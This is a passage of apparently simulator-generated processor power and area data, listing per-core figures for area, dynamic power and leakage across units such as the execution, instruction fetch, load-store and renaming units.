'L2/Peak Dynamic': 0.0734691,
'L2/Runtime Dynamic': 0.0164412,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80969,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 4.12585,
'Load Store Unit/Data Cache/Runtime Dynamic': 1.4123,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0351387,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0934574,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0934574,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 4.56897,
'Load Store Unit/Runtime Dynamic': 1.96666,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.23045,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.4609,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591622,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283406,
'Memory Management Unit/Area': 0.434579,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0817874,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0825906,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00813591,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.376878,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0599736,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.676771,
'Memory Management Unit/Runtime Dynamic': 0.142564,
'Memory Management Unit/Subthreshold Leakage': 0.0769113,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0399462,
'Peak Dynamic': 24.0538,
'Renaming Unit/Area': 0.369768,
'Renaming Unit/FP Front End RAT/Area': 0.168486,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00489731,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 3.33511,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 1.38188e-05,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0437281,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.024925,
'Renaming Unit/Free List/Area': 0.0414755,
'Renaming Unit/Free List/Gate Leakage': 4.15911e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0401324,
'Renaming Unit/Free List/Runtime Dynamic': 0.0189067,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000670426,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000377987,
'Renaming Unit/Gate Leakage': 0.00863632,
'Renaming Unit/Int Front End RAT/Area': 0.114751,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.00038343,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.86945,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.191424,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00611897,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00348781,
'Renaming Unit/Peak Dynamic': 4.56169,
'Renaming Unit/Runtime Dynamic': 0.210344,
'Renaming Unit/Subthreshold Leakage': 0.070483,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0362779,
'Runtime Dynamic': 5.86768,
'Subthreshold Leakage': 6.21877,
'Subthreshold Leakage with power gating': 2.58311},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.0495528,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.24161,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 0.265421,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.11544,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.186201,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.0939878,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.395628,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.0913368,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 4.47041,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0501437,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00484208,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0536545,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0358101,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.103798,
'Execution Unit/Register Files/Runtime Dynamic': 0.0406522,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.125426,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.311688,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 1.39496,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000350681,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.000350681,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000321824,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000133543,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000514415,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.0015376,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00277702,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0344252,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 2.18974,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.0797038,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.116923,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 4.51452,
'Instruction Fetch Unit/Runtime Dynamic': 0.235367,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0461803,
'L2/Runtime Dynamic': 0.00399628,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 2.58917,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.654265,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0437421,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0437421,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 2.79573,
'Load Store Unit/Runtime Dynamic': 0.913729,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.107861,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.215721,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
'Memory Management Unit/Area': 0.4339,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0382801,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0389718,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.13615,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0130719,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.358017,
'Memory Management Unit/Runtime Dynamic': 0.0520437,
'Memory Management Unit/Subthreshold Leakage': 0.0766103,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333,
'Peak Dynamic': 15.7743,
'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.131906,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885,
'Renaming Unit/Free List/Area': 0.0340654,
'Renaming Unit/Free List/Gate Leakage': 2.5481e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0306032,
'Renaming Unit/Free List/Runtime Dynamic': 0.0068136,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064,
'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.0566808,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.1954,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 2.79549,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.0980333,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.279688,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 0.621013,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.189236,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.30523,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.15407,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.648535,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.12122,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 5.10175,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.117323,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00793739,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.0903747,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0587018,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.207697,
'Execution Unit/Register Files/Runtime Dynamic': 0.0666392,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.214908,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.561691,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 1.96193,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 2.12412e-05,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 2.12412e-05,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 1.85245e-05,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 7.18396e-06,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000843257,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.000904264,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.000202822,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0564316,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 3.58953,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.138871,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.191667,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 5.98225,
'Instruction Fetch Unit/Runtime Dynamic': 0.388077,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
